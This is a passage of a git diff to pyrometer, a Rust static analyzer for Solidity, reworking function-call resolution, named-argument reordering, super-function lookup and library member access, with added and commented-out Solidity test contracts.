(int64) { - int128 x = type(int128).max; - x -= type(int32).max; - return int64(x); - } + // function downcast_int_conc() public pure returns (int64) { + // int128 x = type(int128).max; + // x -= type(int32).max; + // return int64(x); + // } - function userInt() internal pure { - int256 x = -100; - MyInt a = MyInt.wrap(x); - int256 b = MyInt.unwrap(a); - require(b == x); - } + // function userInt() internal pure { + // int256 x = -100; + // MyInt a = MyInt.wrap(x); + // int256 b = MyInt.unwrap(a); + // require(b == x); + // } - function int_uint_int_conc() internal pure { - int256 a = -100; - uint256 b = uint(a); - int256 c = int(b); - require(-100 == c); - } + // function int_uint_int_conc() internal pure { + // int256 a = -100; + // uint256 b = uint(a); + // int256 c = int(b); + // require(-100 == c); + // } - function int_uint_int(int a) internal pure { - uint256 b = uint(a); - int256 c = int(b); - c; - } + // function int_uint_int(int a) internal pure { + // uint256 b = uint(a); + // int256 c = int(b); + // c; + // } } -contract FuncCast { - function a(bytes32 vs) public pure { - b(vs); - } +// contract FuncCast { +// function a(bytes32 vs) public pure { +// b(vs); +// } - function b(bytes32 vs) public pure returns (bool) { - bytes32 s = vs & - bytes32( - 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - ); - // uint8 v = uint8((uint256(vs) >> 255) + 27); - return c(s); - } +// function b(bytes32 vs) public pure returns (bool) { +// bytes32 s = vs & +// bytes32( +// 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +// ); +// // uint8 v = uint8((uint256(vs) >> 255) + 27); +// return c(s); +// } - function c(bytes32 s) public pure returns (bool) { - if ( - uint256(s) > - 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 - ) { - return true; - } else { - return false; - } - } +// function c(bytes32 s) public pure returns (bool) { +// if ( +// uint256(s) > +// 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 +// ) { +// return true; +// } else { +// return false; +// } +// } - function foo() public { - address ad = address(0); - (bool r, bytes memory k) = ad.call(hex""); - (r, k) = ad.delegatecall(hex""); - (r, k) = ad.delegatecall(msg.data); +// function foo() public { +// address ad = address(0); +// (bool r, bytes memory k) = ad.call(hex""); +// (r, k) = ad.delegatecall(hex""); +// (r, k) = ad.delegatecall(msg.data); - bytes memory data = hex"01234567"; - data; - } -} +// bytes memory data = hex"01234567"; +// data; +// } +// } diff --git a/crates/pyrometer/tests/test_data/function_calls.sol b/crates/pyrometer/tests/test_data/function_calls.sol index 36129bd4..fad4a930 100644 --- a/crates/pyrometer/tests/test_data/function_calls.sol +++ b/crates/pyrometer/tests/test_data/function_calls.sol @@ -28,6 +28,10 @@ contract B { a += x; } + function addTo(uint256 y) public { + a += y; + } + constructor(uint256 x) { a = x; } @@ -35,7 +39,7 @@ contract B { contract ExternalFuncCalls { function externalCall(uint256 x) public { - B(address(100)).addToA(x); + B(address(100)).addTo({y: x}); } function externalCall_conc() public { @@ -92,3 +96,55 @@ contract Disambiguation { function foo(address by, address from, address to, uint256 id) internal {} } + +contract S1 { + function a(uint x) internal pure virtual returns (uint) { + return 100; + } +} + +contract S2 { + function a(uint x) internal pure virtual returns (uint) { + return 10; + } + + function b(uint x) internal pure virtual returns (uint) { + return 10; + } +} + +contract C is S1, S2 { + function supers(uint128 x) public pure returns (uint) { + uint local_a = a(1); + uint super_a = super.a(1); + require(local_a == 50); + require(super_a == 10); + + uint local_super_b = b(x); + uint super_b = super.b(x); + require(local_super_b == super_b); + return 0; + } + + function a(uint256 x) internal pure override(A, B) returns (uint) { + return 50; + } +} + +contract D is S2, S1 { + function supers(uint128 x) public pure returns (uint) { + uint local_a = a(1); + uint super_a = super.a(1); + require(local_a == 50); + require(super_a == 100); + + uint local_super_b = b(x); + uint super_b = super.b(x); + require(local_super_b == super_b); + return 0; + } + + function a(uint256 x) internal pure override(A, B) returns (uint) { + return 50; + } +} diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index bf4369a0..f198bfd5 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -21,7 +21,7 @@ use shared::{ GraphError, IfElseChain, IntoExprErr, RangeArena, USE_DEBUG_SITE, }; use solang_parser::pt::{ - CodeLocation, Expression, Identifier, Loc, Statement, YulExpression, YulStatement, + CodeLocation, ContractTy, Expression, Identifier, Loc, Statement, YulExpression, YulStatement, }; impl Flatten for T where @@ -922,6 +922,8 @@ pub trait Flatten: ctx.peek_expr_flag(self) ); + // ctx.debug_expr_stack(self); + match next { Todo(loc, err_str) => Err(ExprErr::Todo(loc, err_str.to_string())), // Flag expressions @@ -1013,7 +1015,7 @@ pub trait Flatten: | MoreEqual(loc) | And(loc) | Or(loc) => self.interp_cmp(arena, ctx, loc, next), // Function calling - MemberAccess(..) => self.interp_member_access(arena, ctx, next), + MemberAccess(..) => self.interp_member_access(arena, ctx, stack, next), FunctionCall(..) => self.interp_func_call(arena, ctx, next, None), FunctionCallBlock(_) => todo!(), NamedArgument(..) => Ok(()), @@ -1154,28 +1156,47 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, + stack: &mut Vec, next: FlatExpr, ) -> Result<(), ExprErr> { let FlatExpr::MemberAccess(loc, name) = next else { unreachable!() }; - let keep_member_on_stack = - matches!(ctx.peek_expr_flag(self), Some(ExprFlag::FunctionName(..))); - let member = ctx .pop_n_latest_exprs(1, loc, self) .into_expr_err(loc)? .swap_remove(0); - if keep_member_on_stack { - self.member_access(arena, ctx, member.clone(), name, loc)?; - // rearrange member to be in correct location relative to access + // If the member access points to a library function, we need to keep the + // member on the stack + let was_library_function = self.member_access(arena, ctx, member.clone(), name, loc)?; + if !was_library_function { + // It was unclear before knowing the node type of the member as to if + // the member function call took `self` or not (via a library function) + // + // Now that we know it was *not* a library function, we know it does not take self + // and therefore we *do* need to adjust the function call input length and + // *not* keep the member on the stack + match stack.get_mut(ctx.parse_idx(self)) { + Some(FlatExpr::FunctionCall(_, ref mut n)) => { + *n -= 1; + } + Some(FlatExpr::NamedFunctionCall(_, ref mut n)) => { + *n -= 1; + } + Some(_) | None => { + // it wasn't a function call at all, remove the member + } + } + Ok(()) + } else { + // it was a library function that by definition takes self. + // Pop off the access (for now), add the member back onto the stack + // and readd the access let access = ctx.pop_expr_latest(loc, self).unwrap().unwrap(); ctx.push_expr(member, self).into_expr_err(loc)?; ctx.push_expr(access, self).into_expr_err(loc) - } else { - self.member_access(arena, ctx, member.clone(), name, loc) } } @@ -1630,15 +1651,28 @@ pub trait Flatten: } else { None }; - let maybe_fn = if super_call { - self.find_super_func(arena, ctx, name.to_string(), n, maybe_names) - .into_expr_err(loc)? - } else { - self.find_func(arena, ctx, name.to_string(), n, maybe_names) - .into_expr_err(loc)? - }; - if let Some(fn_node) = maybe_fn { + if let Some((fn_node, input_reordering)) = self + .find_func(arena, ctx, name, n, &maybe_names, super_call) + .into_expr_err(loc)? + { + // reorder the inputs now that we have the function + let inputs = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + let mut tmp_inputs = vec![]; + tmp_inputs.resize(n, ExprRet::Null); + inputs.into_iter().enumerate().for_each(|(i, ret)| { + let target_idx = input_reordering[&i]; + tmp_inputs[target_idx] = ret; + }); + + // we reverse it because of how they are popped off the stack in the actual + // function call + tmp_inputs + .into_iter() + .rev() + .try_for_each(|i| ctx.push_expr(i, self)) + .into_expr_err(loc)?; + let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); let fn_var = ContextVarNode::from(self.add_node(as_var)); ctx.add_var(fn_var, self).into_expr_err(loc)?; @@ -1756,6 +1790,11 @@ pub trait Flatten: .pop_n_latest_exprs(n + 1, loc, self) .into_expr_err(loc)?; + println!( + "function call: {}", + ExprRet::Multi(func_and_inputs.clone()).debug_str(self) + ); + let func = func_and_inputs .first() .unwrap() @@ -1826,6 +1865,8 @@ pub trait Flatten: let inputs = ExprRet::Multi(inputs); + println!("inputs: {}", inputs.debug_str(self)); + if is_new_call { return self.new_call_inner(arena, ctx, func, inputs, loc); } @@ -1860,6 +1901,13 @@ pub trait Flatten: }; self.cast_inner(arena, ctx, ty, &builtin, inputs, loc) } + VarType::User(TypeNode::Unresolved(idx), _) => Err(ExprErr::ParseError( + loc, + format!( + "Could not call function: {:?}. The inputs may be wrong, or the this is a bug.", + self.node(idx) + ), + )), e => todo!("Unhandled ty: {e:?}"), } } diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index ce2fde4b..9a375bd7 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -142,9 +142,9 @@ pub trait FuncCaller: modifier_state: &Option, ) -> Result<(), ExprErr> { if !entry_call { - if let Ok(true) = self.apply(arena, ctx, loc, func_node, params, inputs, &mut vec![]) { - return Ok(()); - } + // if let Ok(true) = self.apply(arena, ctx, loc, func_node, params, inputs, &mut vec![]) { + // return Ok(()); + // } } // pseudocode: diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 3fcde89d..a548760e 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -4,13 +4,18 @@ use crate::helper::CallerHelper; use graph::{ elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ExprRet, FunctionNode}, - AnalyzerBackend, GraphBackend, Node, VarType, + nodes::{ + Builtin, Concrete, ContextNode, ContextVarNode, ContractNode, ExprRet, FunctionNode, + StructNode, + }, + AnalyzerBackend, GraphBackend, Node, TypeNode, VarType, }; -use shared::{ExprErr, GraphError, RangeArena}; +use shared::{ExprErr, GraphError, NodeIdx, RangeArena}; use solang_parser::pt::Expression; +use std::collections::BTreeMap; + impl InternalFuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend + CallerHelper { @@ -19,61 +24,85 @@ impl InternalFuncCaller for T where pub trait InternalFuncCaller: AnalyzerBackend + Sized + GraphBackend + CallerHelper { - fn find_super_func( + fn ordered_fn_inputs(&self, func: NodeIdx) -> Option> { + match self.node(func) { + Node::ContextVar(..) => match ContextVarNode::from(func).ty(self).unwrap() { + VarType::User(TypeNode::Func(func), _) => Some(func.ordered_param_names(self)), + VarType::User(TypeNode::Struct(strukt), _) => { + Some(strukt.ordered_new_param_names(self)) + } + VarType::User(TypeNode::Contract(con), _) => { + Some(con.ordered_new_param_names(self)) + } + other => None, + }, + Node::Function(..) => Some(FunctionNode::from(func).ordered_param_names(self)), + Node::Struct(..) => Some(StructNode::from(func).ordered_new_param_names(self)), + Node::Contract(..) => Some(ContractNode::from(func).ordered_new_param_names(self)), + other => None, + } + } + + fn construct_func_input_strings( &mut self, arena: &mut RangeArena>, ctx: ContextNode, - name: String, num_inputs: usize, - maybe_named: Option>, - ) -> Result, GraphError> { - if let Some(contract) = ctx.maybe_associated_contract(self)? { - let supers = contract.super_contracts(self); - let possible_funcs: Vec<_> = supers - .iter() - .filter_map(|con_node| { - con_node - .linearized_functions(self) - .ok()? - .into_iter() - .find(|(func_name, func_node)| { - if !func_name.starts_with(&name) { - return false; - } - - let params = func_node.params(self); - - if params.len() != num_inputs { - return false; - } - - if let Some(ref named) = maybe_named { - params - .iter() - .all(|param| named.contains(&&*param.name(self).unwrap())) - } else { - true - } - }) - .map(|(_, node)| node) - }) - .collect(); - self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs, maybe_named) - } else { - Ok(None) - } + ) -> Result>, GraphError> { + let stack = &ctx.underlying(self)?.expr_ret_stack; + let len = stack.len(); + let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); + inputs.reverse(); + Ok(inputs + .iter() + .map(|input| input.expect_single().ok()) + .map(|idx| { + let Some(idx) = idx else { + return vec![]; + }; + match VarType::try_from_idx(self, idx) { + Some(VarType::BuiltIn(bn, _)) => match self.node(bn) { + Node::Builtin(inner) => inner + .possible_upcast_builtins() + .into_iter() + .map(|b| b.basic_as_string()) + .collect(), + _ => { + unreachable!() + } + }, + Some(VarType::Concrete(cn)) => match self.node(cn) { + Node::Concrete(c) => c + .as_builtin() + .possible_upcast_builtins() + .into_iter() + .map(|b| b.basic_as_string()) + .collect(), + _ => { + unreachable!() + } + }, + Some(ty) => { + let Ok(ty_str) = ty.as_string(self) else { + return vec![]; + }; + vec![ty_str] + } + _ => vec![], + } + }) + .collect()) } - fn find_func( + fn potential_funcs( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, - name: String, + name: &str, num_inputs: usize, - maybe_named: Option>, - ) -> Result, GraphError> { + maybe_named: &Option>, + ) -> Result, GraphError> { let funcs = ctx.visible_funcs(self)?; - let possible_funcs = funcs + let mut possible_funcs = funcs .iter() .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) .filter(|func| { @@ -91,65 +120,128 @@ pub trait InternalFuncCaller: }) .copied() .collect::>(); - self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs, maybe_named) + possible_funcs.sort(); + possible_funcs.dedup(); + Ok(possible_funcs) } - fn find_func_inner( + fn potential_super_funcs( &mut self, arena: &mut RangeArena>, ctx: ContextNode, - name: String, + name: &str, num_inputs: usize, - possible_funcs: Vec, - maybe_named: Option>, - ) -> Result, GraphError> { - match possible_funcs.len() { - 0 => Ok(None), - 1 => Ok(Some(possible_funcs[0])), - _ => { - let stack = &ctx.underlying(self)?.expr_ret_stack; - let len = stack.len(); - let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); - inputs.reverse(); - let resizeables: Vec<_> = inputs - .iter() - .map(|input| input.expect_single().ok()) - .map(|idx| { - let Some(idx) = idx else { - return false; + maybe_named: &Option>, + ) -> Result, GraphError> { + if let Some(contract) = ctx.maybe_associated_contract(self)? { + let mut possible_funcs: Vec<_> = contract + .linearized_functions(self, true)? + .into_iter() + .filter(|(func_name, func_node)| { + if !func_name.starts_with(name) { + return false; + } + + let params = func_node.params(self); + + if params.len() != num_inputs { + return false; + } + + if let Some(ref named) = maybe_named { + params + .iter() + .all(|param| named.contains(&&*param.name(self).unwrap())) + } else { + true + } + }) + .map(|(_, node)| node) + .collect(); + possible_funcs.sort(); + possible_funcs.dedup(); + Ok(possible_funcs) + } else { + Ok(vec![]) + } + } + + fn find_func( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + name: &str, + num_inputs: usize, + maybe_named: &Option>, + is_super: bool, + ) -> Result)>, GraphError> { + let possible_funcs = if is_super { + self.potential_super_funcs(arena, ctx, name, num_inputs, maybe_named)? + } else { + self.potential_funcs(ctx, name, num_inputs, maybe_named)? + }; + + println!( + "potential funcs: {:?}", + possible_funcs + .iter() + .map(|i| i.name(self).unwrap()) + .collect::>() + ); + + let stack = &ctx.underlying(self)?.expr_ret_stack; + let len = stack.len(); + let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); + inputs.reverse(); + + let mut matched_funcs = possible_funcs + .iter() + .filter_map(|func| { + let ordered_pos_to_input_pos: BTreeMap<_, _> = + if let Some(input_names) = &maybe_named { + let Some(ordered_names) = self.ordered_fn_inputs(func.0.into()) else { + return None; }; - match VarType::try_from_idx(self, idx) { - Some(VarType::BuiltIn(bn, _)) => { - matches!( - self.node(bn), - Node::Builtin(Builtin::Uint(_)) - | Node::Builtin(Builtin::Int(_)) - | Node::Builtin(Builtin::Bytes(_)) - ) - } - Some(VarType::Concrete(c)) => { - matches!( - self.node(c), - Node::Concrete(Concrete::Uint(_, _)) - | Node::Concrete(Concrete::Int(_, _)) - | Node::Concrete(Concrete::Bytes(_, _)) - ) - } - _ => false, + + if ordered_names[..] != input_names[..] { + ordered_names + .iter() + .enumerate() + .filter_map(|(i, n)| { + Some((i, input_names.iter().position(|k| k == n)?)) + }) + .collect() + } else { + (0..input_names.len()).map(|i| (i, i)).collect() } - }) - .collect(); - - let inputs = ExprRet::Multi(inputs); - Ok(self.disambiguate_fn_call( - arena, - &name, - resizeables, - &inputs, - &possible_funcs, - maybe_named, - )) - } + } else { + (0..num_inputs).map(|i| (i, i)).collect() + }; + let tys = func + .params(self) + .iter() + .map(|param| VarType::try_from_idx(self, param.ty(self).unwrap()).unwrap()) + .collect::>(); + + let all = tys.iter().enumerate().all(|(true_idx, ty)| { + let input_pos = ordered_pos_to_input_pos.get(&true_idx).unwrap(); + inputs[*input_pos] + .implicitly_castable_to(self, ty) + .unwrap_or(false) + }); + + if all { + Some((*func, ordered_pos_to_input_pos)) + } else { + None + } + }) + .collect::>(); + + if matched_funcs.len() == 1 { + Ok(Some(matched_funcs.swap_remove(0))) + } else { + Ok(None) } } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs index cf712062..53b4dca0 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs @@ -22,8 +22,17 @@ pub trait AddressCaller: AnalyzerBackend + ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc)?; - Ok(()) + .into_expr_err(loc) + } + "codehash" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::Bytes(32)); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) } "balance" => { // TODO: try to be smarter based on the address input @@ -33,8 +42,16 @@ pub trait AddressCaller: AnalyzerBackend + ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc)?; - Ok(()) + .into_expr_err(loc) + } + "send" => { + let bn = self.builtin_or_add(Builtin::Bool); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index c537cb3a..1831fd03 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -26,66 +26,22 @@ pub trait BuiltinAccess: name: &str, is_storage: bool, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { tracing::trace!("Looking for builtin member function"); if let Some(ret) = self.library_func_search(ctx, node.0.into(), name) { - Ok(ret) + Ok((ret, true)) } else { match node.underlying(self).into_expr_err(loc)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { - "delegatecall" - | "call" - | "staticcall" - | "delegatecall(address, bytes)" - | "call(address, bytes)" - | "staticcall(address, bytes)" => { + "delegatecall" | "call" | "staticcall" | "code" | "codehash" + | "balance" | "send" | "transfer" => { // TODO: check if the address is known to be a certain type and the function signature is known // and call into the function let builtin_name = name.split('(').collect::>()[0]; let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); - Ok(ExprRet::Single(func_node)) + Ok((ExprRet::Single(func_node), true)) } - "code" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::DynamicBytes); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(node)) - } - "codehash" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::Bytes(32)); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(node)) - } - "balance" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::Uint(256)); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(node)) - } - _ if name.starts_with("send") => { - let bn = self.builtin_or_add(Builtin::Bool); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(node)) - } - _ if name.starts_with("transfer") => Ok(ExprRet::Multi(vec![])), _ => Err(ExprErr::MemberAccessNotFound( loc, format!( @@ -105,7 +61,7 @@ pub trait BuiltinAccess: Builtin::String => match name.split('(').collect::>()[0] { "concat" => { let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); - Ok(ExprRet::Single(fn_node)) + Ok((ExprRet::Single(fn_node), false)) } _ => Err(ExprErr::MemberAccessNotFound( loc, @@ -129,7 +85,7 @@ pub trait BuiltinAccess: Builtin::DynamicBytes => match name.split('(').collect::>()[0] { "concat" => { let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); - Ok(ExprRet::Single(fn_node)) + Ok((ExprRet::Single(fn_node), false)) } _ => Err(ExprErr::MemberAccessNotFound( loc, @@ -143,7 +99,7 @@ pub trait BuiltinAccess: if name.starts_with("push") { if is_storage { let fn_node = self.builtin_fn_or_maybe_add("push").unwrap(); - Ok(ExprRet::Single(fn_node)) + Ok((ExprRet::Single(fn_node), true)) } else { Err(ExprErr::NonStoragePush( loc, @@ -153,7 +109,7 @@ pub trait BuiltinAccess: } else if name.starts_with("pop") { if is_storage { let fn_node = self.builtin_fn_or_maybe_add("pop").unwrap(); - Ok(ExprRet::Single(fn_node)) + Ok((ExprRet::Single(fn_node), true)) } else { Err(ExprErr::NonStoragePush( loc, @@ -210,7 +166,7 @@ pub trait BuiltinAccess: let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(cvar)) + Ok((ExprRet::Single(cvar), false)) } "min" => { let min = max * I256::from(-1i32) - I256::from(1i32); @@ -225,7 +181,7 @@ pub trait BuiltinAccess: let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(cvar)) + Ok((ExprRet::Single(cvar), false)) } e => Err(ExprErr::MemberAccessNotFound( loc, @@ -254,7 +210,7 @@ pub trait BuiltinAccess: let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(cvar)) + Ok((ExprRet::Single(cvar), false)) } "min" => { let min = U256::zero(); @@ -269,12 +225,7 @@ pub trait BuiltinAccess: let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(cvar)) - } - "call" | "delegatecall" | "staticcall" if size == 160 => { - let builtin_name = name.split('(').collect::>()[0]; - let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); - Ok(ExprRet::Single(func_node)) + Ok((ExprRet::Single(cvar), false)) } e => Err(ExprErr::MemberAccessNotFound( loc, diff --git a/crates/solc-expressions/src/member_access/contract_access.rs b/crates/solc-expressions/src/member_access/contract_access.rs index e963dbac..4be8268c 100644 --- a/crates/solc-expressions/src/member_access/contract_access.rs +++ b/crates/solc-expressions/src/member_access/contract_access.rs @@ -1,3 +1,4 @@ +use crate::member_access::library_access::LibraryAccess; use graph::{ nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, @@ -18,7 +19,7 @@ pub trait ContractAccess: AnalyzerBackend con_node: ContractNode, name: &str, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { tracing::trace!( "Contract member access: {}.{}", con_node @@ -28,10 +29,11 @@ pub trait ContractAccess: AnalyzerBackend name ); - if let Some(func) = con_node - .funcs(self) + if let Some((_, func)) = con_node + .linearized_functions(self, false) + .into_expr_err(loc)? .into_iter() - .find(|func_node| func_node.name(self).unwrap() == name) + .find(|(func_name, func_node)| func_name == name) { if let Some(func_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { let fn_node = self.add_node(func_cvar); @@ -39,7 +41,7 @@ pub trait ContractAccess: AnalyzerBackend if let Some(parent) = maybe_parent { self.add_edge(fn_node, parent, Edge::Context(ContextEdge::FuncAccess)); } - Ok(ExprRet::Single(fn_node)) + Ok((ExprRet::Single(fn_node), false)) } else { Err(ExprErr::MemberAccessNotFound( loc, @@ -49,6 +51,8 @@ pub trait ContractAccess: AnalyzerBackend ), )) } + } else if let Some(ret) = self.library_func_search(ctx, con_node.0.into(), name) { + Ok((ret, true)) } else if let Some(func) = con_node .structs(self) .into_iter() @@ -64,7 +68,7 @@ pub trait ContractAccess: AnalyzerBackend Edge::Context(ContextEdge::StructAccess), ); } - return Ok(ExprRet::Single(struct_node)); + return Ok((ExprRet::Single(struct_node), false)); } else { return Err(ExprErr::MemberAccessNotFound( loc, @@ -75,7 +79,7 @@ pub trait ContractAccess: AnalyzerBackend )); } } else { - match name { + let res = match name { "name" => { let c = Concrete::from(con_node.name(self).unwrap()); let cnode = self.add_node(c); @@ -84,7 +88,7 @@ pub trait ContractAccess: AnalyzerBackend let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - return Ok(ExprRet::Single(node)); + Ok(ExprRet::Single(node)) } "creationCode" | "runtimeCode" => { let bn = self.builtin_or_add(Builtin::DynamicBytes); @@ -93,7 +97,7 @@ pub trait ContractAccess: AnalyzerBackend let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - return Ok(ExprRet::Single(node)); + Ok(ExprRet::Single(node)) } "interfaceId" => { // TODO: actually calculate this @@ -103,7 +107,7 @@ pub trait ContractAccess: AnalyzerBackend let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - return Ok(ExprRet::Single(node)); + Ok(ExprRet::Single(node)) } _ => { // try to match just prefix @@ -137,7 +141,7 @@ pub trait ContractAccess: AnalyzerBackend )) } } else { - return Err(ExprErr::ContractFunctionNotFound( + Err(ExprErr::ContractFunctionNotFound( loc, format!( "No function or struct with name \"{name}\" in contract: {:?}. Functions: {:#?}", @@ -148,10 +152,11 @@ pub trait ContractAccess: AnalyzerBackend .map(|func| func.name(self).unwrap()) .collect::>() ), - )); + )) } } - } + }; + Ok((res?, false)) } } } diff --git a/crates/solc-expressions/src/member_access/enum_access.rs b/crates/solc-expressions/src/member_access/enum_access.rs index 22131e96..d7cafc63 100644 --- a/crates/solc-expressions/src/member_access/enum_access.rs +++ b/crates/solc-expressions/src/member_access/enum_access.rs @@ -24,7 +24,7 @@ pub trait EnumAccess: enum_node: EnumNode, name: &str, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { tracing::trace!("Enum member access: {}", name); if let Some(variant) = enum_node @@ -39,9 +39,9 @@ pub trait EnumAccess: let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(cvar)) + Ok((ExprRet::Single(cvar), false)) } else if let Some(ret) = self.library_func_search(ctx, enum_node.0.into(), name) { - Ok(ret) + Ok((ret, true)) } else { Err(ExprErr::MemberAccessNotFound( loc, diff --git a/crates/solc-expressions/src/member_access/library_access.rs b/crates/solc-expressions/src/member_access/library_access.rs index 3c3c9fc3..643dbd1c 100644 --- a/crates/solc-expressions/src/member_access/library_access.rs +++ b/crates/solc-expressions/src/member_access/library_access.rs @@ -20,9 +20,11 @@ pub trait LibraryAccess: AnalyzerBackend + ty: NodeIdx, func_name: &str, ) -> Option { + println!("searching for {func_name}"); self.possible_library_funcs(ctx, ty) .iter() .filter_map(|func| { + println!("func: {:?}", func.name(self).unwrap()); if let Ok(name) = func.name(self) { Some((name, func)) } else { diff --git a/crates/solc-expressions/src/member_access/member_trait.rs b/crates/solc-expressions/src/member_access/member_trait.rs index ae35cb1d..46571c79 100644 --- a/crates/solc-expressions/src/member_access/member_trait.rs +++ b/crates/solc-expressions/src/member_access/member_trait.rs @@ -41,10 +41,11 @@ pub trait MemberAccess: member: ExprRet, name: &str, loc: Loc, - ) -> Result<(), ExprErr> { + ) -> Result { // TODO: this is wrong as it overwrites a function call of the form elem.length(...) i believe if name == "length" { - return self.length(arena, ctx, member, loc); + self.length(arena, ctx, member, loc)?; + return Ok(false); } self.match_member(ctx, member, name, loc) @@ -57,18 +58,25 @@ pub trait MemberAccess: member: ExprRet, name: &str, loc: Loc, - ) 